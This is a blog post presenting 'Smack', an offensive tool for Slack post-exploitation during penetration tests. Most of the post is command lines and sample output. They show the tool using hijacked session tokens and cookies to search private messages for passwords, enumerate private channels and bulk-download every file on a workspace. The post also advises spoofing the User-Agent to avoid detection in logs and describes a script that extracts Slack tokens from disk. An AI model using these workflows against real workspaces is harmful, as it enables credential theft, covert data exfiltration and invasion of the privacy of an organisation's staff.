Smack: Slack Post-Exploitation

⊕ 2020-12-20

It’s not uncommon on a pentest to compromise a workstation or get your hands on a small pile of cookies or sessions from various sources and with the advent of Slack becoming one of the primary tools for communication it can often be a treasure trove of data. In my experience it is incredibly common for people to post shared credentials, have workflows that are dangerous, or most commonly posting sensitive documents in Slack. I wanted to automate some of my post-exploitation workflows to let me automate searching for messages, downloading all files from a server, identifying channels, and reading private messages. So I made Smack:

Basic Usage

To get a general feel for ergonomics and usage of the tool, here is a small set of commands that I used pretty regularly during my assessments:

./smack check -c examples/fakeserver.json
./smack files -c examples/fakeserver.json -q "type:zip" -o /tmp/
./smack files -c examples/fakeserver.json -q "type:zip password" -o /tmp/
./smack files -c examples/fakeserver.json -q "type:all" -f "text/plain" -o /tmp/
./smack messages -c examples/fakeserver.json -q "wifi password"
./smack messages -c examples/fakeserver.json -p
./smack channels -c examples/fakeserver.json
./smack channels -c examples/fakeserver.json -p -q "devops"

These examples are pretty self explanatory, but check validates the basic configuration, files interacts with the file search API and can be used to download all files on a server with a filter type, messages searches messages, and channels lists or searches for all channels on the server.

Setting up a configuration file is easy and I suggest using the JSON configuration file, an example of which looks like:

{
        "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
        "Authority": "fakeserver-hq.slack.com",
        "URL": "fakeserver-hq.slack.com",
        "Token": "xoxc-xxxxxxxxxxxx-xxxxxxxxxxxx-xxxxxxxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
        "BCookie":"b=.7cxxxxxxxxxxxxxxxxxxxxxxx",
        "DCookie":"d=k%2Fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%3D",
        "XCookie":"x=7cxxxxxxxxxxxxxxxxxxxxxxx"
}

A couple of notes, it seems that the exact cookies that are required for xoxc and xoxs tokens fluctuates a bit. I noticed that xoxs tokens seemed to be issued when doing admin actions and didn’t always require the other cookies to be set. But, in general these cookies should be set or set to the default empty value (ie BCookie should be b=). Additionally, if you are very worried about OPSEC and people searching for outliers in Slack logs ensure that your UserAgent matches the version information of where these tokens were hijacked.

check gives us a good place to view the basic functionality:

$ ./smack check -c examples/fakeserver.json
Name: poptart
Username: poptart
Display Name:
Email: poptart@hosakacorp.net
Title: Shell Curator
Phone:
Skype:
Admin: false
App: false
Bot: false
Owner: false
Channels: iot general random medihax autohax defcon password_cracking github_krew
Team ID: XXXXXXXXX
Team Name: Fake Team
Team # of Messages: 29819

You can additionally not use a configuration file and instead use command line flags, but I personally find that to be a pretty unergonomic after some time.

Identifying Channels

The channels command by default lists all available channels in the server (check can be used to find the channels that the user currently logged in as has joined). The basic feel of this command is to print all identifiable channels and channel IDs:

./smack channels -c examples/fakeserver.json
Count: 15
autohax CKY928DUM
defcon CLSB5EY2C
dfir CJHUKKQFK
general C9ND9JZ8A
github_krew G01H6L1B753
iot C9MQ1PTME
medihax CKWTW2ZN1
mobilehax CKYRVRRKM
osint C9NHFHGAH
password_cracking CPQ46RZ2L
random C9PETBZJT
readinglist C9MQ448GG
research C9PFFSP5M
reversing CJD37ASTT
social-engineering C9MQ26UE4

The -p flag can be used to only search for private channels, which can be good for identifying user specific team channels and increase the chance of finding secrets or sensitive data.

Searching for Messages

The messages needs more fleshing out, but at the moment it is query based and searches for specific query terms that you would use in the normal Slack search UI. At the moment it’s default behavior is to search for the word password, but with -q you can search for any information:

./smack messages -c examples/fakeserver.json -q "password"
Requesting page 1
Count: 18
user1: <https://malicious.link/post/2020/solarflare-release-password-dumper-for-solarwinds-orion/|https://malicious.link/post/2020/solarflare-release-password-du
mper-for-solarwinds-orion/>
user1: Here are a few, I think I've seen some newer ones ...checking...

Native Windows password blacklisting option:
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx>
Third-party password blacklisting options:
<https://www.manageengine.com/products/self-service-password/|https://www.manageengine.com/products/self-service-password/> 
<https://www.passwordrbl.com/password-firewall.html|https://www.passwordrbl.com/password-firewall.html>
...snip...

Ultimately I would like this to search for all messages and make them archivable, but that might only happen if there is interest.

Extracting Files

One of the main things I was interested in was creating a way to download every file or specific file type from a Slack server, the amount of code with credentials or sensitive financial information sent over Slack is honestly astonishing. In combination with the fact that many organizations do not have a good forced Slack retention policy, this can yield fantastic results for lateral movement. You can use the following to download all files on a server:

./smack files -c examples/fakeserver.json -o /tmp
Count: 5
Downloading 5 items
downloading: /tmp/F018Z7N15GD_IoT Pricing.pdf | size: 94533
downloading: /tmp/F015PMSGJ90_5g_security_survey.pdf | size: 4836508
downloading: /tmp/F015RPF8R36_2020-data-breach-investigations-report.pdf | size: 6980991
downloading: /tmp/FME8D4GP5_att fail.pdf | size: 374332
...snip...

By default it searches for PDF files, but you can easily tweak this with the -q and a built-in Slack filetype filter. This shows how you can download all filetypes on the server:

./smack files -c examples/fakeserver.json -o /tmp -q "type:all"
Count: 195
Downloading 195 items
downloading: /tmp/F01H9DF98E6_thumbs-up.jpg | size: 538162
downloading: /tmp/F01HFD7PZGC_IMG_20170427_224933.jpg | size: 2942233
downloading: /tmp/F01HMJ0JKR7_IMG_6458.JPG | size: 163036
...snip...

Smack uses the internal filename, but also prepends the file identifier in order to try and prevent duplicate downloads.

Another important feature is to search for files with specific MIME types, this is done by filtering all files and pulling a HTTP HEAD from the file and matching the MIME type requested. This allows you to find filetypes that are not natively supported by Slack’s search functionality, but tends to be slower the more results there are as it does need to make an additional request per item:

./smack files -c examples/fakeserver.json -o /tmp -q "type:all" -f "text/plain"
Count: 2
Downloading 2 items
downloading: /tmp/FPBSDA49Y_chess_moves.txt | size: 86016000
downloading: /tmp/FNJA044BE_Alias | size: 3367

Future

Depending on how much more usage I get out of it or if anyone shows interest I plan to add the following features, consider this to be a pseudo-roadmap:

In addition to the native features, there is also the framework for “extractors” which allow for searching for Slack tokens on disk. This is useful because Slack stores it’s tokens in local storage instead of in a cookie store, which does not protect them from being extracted by an attacker with direct disk access. There is a lot of future work that could be done here to automatically hijack and exfil, but so far I have only implementation a simple *nix extractor in shell in cmd/extractors/linux/extract.sh.